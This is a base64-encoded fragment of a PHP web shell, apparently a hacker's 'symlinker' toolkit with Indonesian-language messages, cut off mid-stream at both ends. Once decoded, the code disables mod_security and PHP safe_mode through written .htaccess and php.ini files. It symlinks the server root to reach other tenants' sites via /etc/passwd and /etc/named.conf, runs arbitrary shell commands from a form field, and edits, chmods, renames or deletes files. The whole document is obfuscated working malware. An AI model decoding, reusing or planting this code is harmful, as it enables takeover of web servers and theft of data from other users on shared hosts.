bGljayBoZXJlITwvYT4iOw0KfQkJaWYoaXNzZXQoJF9QT1NUWydodGNlJ10pKQ0Kew0KCQkkZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3Iik7DQoJCWVjaG8gZndyaXRlKCRmaWxlLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+DQoJIik7DQoJCWZjbG9zZSgkZmlsZSk7DQoJCWVjaG8gImh0YWNjZXNzIHN1Y2Nlc3NmdWxseSBjcmVhdGVkISI7DQp9ICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydsaXRpbmknXSkpew0KCQkkaW5pcGggPSAnPD8gbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsgbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IG4gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOyBuIGVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7IG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgbiBpbmNsdWRlKCRfR0VUWyJzcyJdOyBuID8+JzsNCgkJCSAkYnlwaCA9ICJzYWZlX21vZGUgPSBPZmYgbiBkaXNhYmxlX2Z1bmN0aW9ucz0gIjsNCgkJJGNvbXA9IlBFWnBiR1Z6SUNvdWNHaHdQZzBLUm05eVkyVlVlWEJsSUdGd2NHeHBZMkYwYVc5dUwzZ3RhSFIwY0dRdGNHaHdOQTBLUEM5R2FXeGxjejQ9IjsNCgkJZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLGJhc2U2NF9kZWNvZGUoJGJ5cGgpKTsNCgkJZmlsZV9wdXRfY29udGVudHMoImluaS5waHAiLGJhc2U2NF9kZWNvZGUoJGluaXBoKSk7DQoJCWZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLGJhc2U2NF9kZWNvZGUoJGNvbXApKTsNCgkJZWNobyAiPHNjcmlwdD5hbGVydCgnRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7DQoJCWVjaG8iPC9jZW50ZXI+IjsNCn0NCg0KfQ0KZWxzZWlmKCRfR0VUWydhJ10gPT0gJ3N5bWxpbmsnKSB7DQokZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkcGF0aCk7DQokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiMjaHR0YWNlcw0KaWYoJGQwbWFpbnMpew0KQG1rZGlyKCJrMHYzVF9zeW0iLDA3NzcpOw0KQGNoZGlyKCJrMHYzVF9zeW0iKTsNCkBleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOw0KJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsNCmVjaG8gIjxicj4NCjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgc3R5bGU9J3dpZHRoOjYwJTtib3JkZXItY29sb3I6IzMzMzMzMzsnPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+Uy4gTm8uPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Eb21haW5zPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+U3ltbGluazwvZm9udD48L3RkPg0KPC90cj4iOw0KJGRjb3VudCA9IDE7DQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KZWNobyAiPHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvZm9udD48L3RkPg0KPHRkIGFsaWduPWxlZnQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+PGZvbnQgY2xhc3M9dHh0PiIuJGRvbWFpbnNbMV1bMF0uIjwvZm9udD48L2E+PC90ZD4NCjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNsYXNzPXR4dD5TeW1saW5rPC9mb250PjwvYT48L3RkPjwvdHI+IjsNCmZsdXNoKCk7DQokZGNvdW50Kys7fX19DQplY2hvICI8L3RhYmxlPiI7DQp9ZWxzZXsNCiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KaWYgKCRURVNUKXsNCkBta2RpcigiazB2M1Rfc3ltIiwwNzc3KTsNCkBjaGRpcigiazB2M1Rfc3ltIik7DQpleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTsNCiBAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkZGNvdW50ID0gMTsNCiAkZmlsZSA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZXhpdCgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsNCiB3aGlsZSghZmVvZigkZmlsZSkpew0KICRzID0gZmdldHMoJGZpbGUpOw0KICRtYXRjaGVzID0gYXJyYXkoKTsNCiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTsNCiAkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOw0KIGlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpDQogY29udGludWU7DQogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+IiAuICRtYXRjaGVzIC4gIjwvdGQ+IjsNCiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPSRmdWxsL2swdjNUX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsNCiAkZGNvdW50Kys7fWZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90YWJsZT4iO31lbHNle2lmKCRvcyAhPSAiV2luZG93cyIpe0Bta2RpcigiazB2M1Rfc3ltIiwwNzc3KTtAY2hkaXIoImswdjNUX3N5bSIpO0BleGUoImxuIC1zIC8gcm9vdCIpOyRmaWxlMyA9ICcNCiBPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KJzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDxkaXYgY2xhc3M9J215Ym94Jz48aDIgY2xhc3M9J2sybGwzM2QyJz5zZXJ2ZXIgc3ltbGlua2VyPC9oMj4NCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5JRDwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkdGVtcCA9ICIiOyR2YWwxID0gMDskdmFsMiA9IDEwMDA7DQogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7DQogaWYgKCR1aWQpJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjt9DQogZWNobyAnPGJyLz4nOyR0ZW1wID0gdHJpbSgkdGVtcCk7JGZpbGU1ID0NCiBmb3BlbigidGVzdC50eHQiLCJ3Iik7DQogZnB1dHMoJGZpbGU1LCR0ZW1wKTsNCiBmY2xvc2UoJGZpbGU1KTskZGNvdW50ID0gMTskZmlsZSA9DQogZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOw0KIHdoaWxlKCFmZW9mKCRmaWxlKSl7JHMgPSBmZ2V0cygkZmlsZSk7JG1hdGNoZXMgPSBhcnJheSgpOw0KICR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOyRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7DQogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikNCiBjb250aW51ZTsNCiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+IiAuICRkY291bnQgLiAiPC90ZD4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOw0KIGVjaG8gIjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PjxhIGhyZWY9JGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iIC4gJG1hdGNoZXMgLiAiL3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4iOw0KICRkY291bnQrKzt9DQogZmNsb3NlKCRmaWxlKTsNCiBlY2hvICI8L3RhYmxlPjwvZGl2PjwvY2VudGVyPiI7dW5saW5rKCJ0ZXN0LnR4dCIpOw0KIH0gZWxzZQ0KIGVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0zPkNhbm5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOw0KIH0NCiB9DQojI0pVTVBJTkcgDQp9IGVsc2VpZigkX0dFVFsnYSddID09ICdqdW1waW5nJykgew0KICAgICRpID0gMDsNCiAgICBlY2hvICI8cHJlPjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KICAgICRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+Iik7DQogICAgd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQppZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsNCn0gZWxzZSB7DQogICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9qdW1waW5nKTsNCiAgICBmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsNCiAgICAgICAgJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4X2p1bXAvcHVibGljX2h0bWwiOw0KICAgICAgICBpZihpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1yZWQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQogICAgICAgICAgICBpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9IzVkZGNmYz4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJGpydzsNCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KICAgICAgICAgICAgICAgICRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsgICANCiAgICAgICAgICAgICAgICBpZigkZG9tYWluX2p1bXAgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhZ2FsIG1lbmdhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyX2p1bXBpbmdfdXJsID0gJHVzZXJfanVtcGluZ191cmxbJ25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX2lkeF9qdW1wKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPHU+JGRqPC91PiApPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KICAgIH0NCiAgICBpZigkaSA9PSAwKSB7DQogICAgfSBlbHNlIHsNCmVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOw0KICAgIA0KICAgIGVjaG8gIjwvZGl2PjwvcHJlPiI7DQoJCX0NCg0KDQoNCi8vQ09ORklHDQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2NtZCcpIHsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPiIuJHVzZXIuIkAiLiRpcC4iOiB+ICQgPC9mb250Pg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSczMCcgaGVpZ2h0PScxMCcgbmFtZT0nY21kJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkb19jbWQnIHZhbHVlPSc+Pic+DQoJPC9mb3JtPiI7DQoJaWYoJF9QT1NUWydkb19jbWQnXSkgew0KCQllY2hvICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOw0KCX0NCg0KLy9TVEFSVA0KfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpew0KZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KZWNobyAkX0dFVFsnZmlsZXNyYyddOw0KZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCmVjaG8oJyA8Y2VudGVyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6ODAlO2hlaWdodDo1MCU7IiByZWFkb25seT4gJy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC90ZXh0YXJlYT48L2NlbnRlcj4nKTsNCn1lbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsNCmVjaG8gJzwvdGFibGU+PGJyIC8+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsNCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7DQppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpew0KaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSAgUGVybWlzc2lvbiBCZXJoYXNpbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9IlJFRCI+R2FudGkgUGVybWlzc2lvbiBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNobW9kIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ3JlbmFtZScpew0KaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCmlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSBOYW1hIEJlcmhhc2lsIEdhbjwvZm9udD48YnIgLz4nOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0iUkVEIj5HYW50aSBOYW1hIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsNCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpOYW1hIEJhcnUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVWJhaCBOYW1hIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsNCmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsNCiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7DQppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5FZGl0IEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPkVkaXQgRmlsZSBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCmZjbG9zZSgkZnApOw0KfQ0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCjx0ZXh0YXJlYSBjb2xzPTE0MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4NCjwvZm9ybT4nOw0KfQ0KZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7DQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rpcicpew0KaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5IYXB1cyBEaXIgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkhhcHVzIERpciBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPkhhcHVzIEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSIjcmVkIj5IYXB1cyBGaWxlIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KfQ0KfQ0KCQkNCmVjaG8gJzwvY2VudGVyPic7DQokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDBweCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyIGNsYXNzPSJmaXJzdCI+DQo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+TmFtZTwvZm9udD48L2NlbnRlcj48L3RkPjwvYj4NCjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5TaXplPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPlBlcm1pc3Npb25zPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPk9wdGlvbnM8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+DQo8L3RyPic7DQoNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7DQppZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsNCmVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9Jz4NCjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+PGZvbnQgY29sb3I9cmVkPiRkaXI8L2ZvbnQ+PC9hPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+RGlyZWN0b3J5PC9mb250PjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KCQ0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSk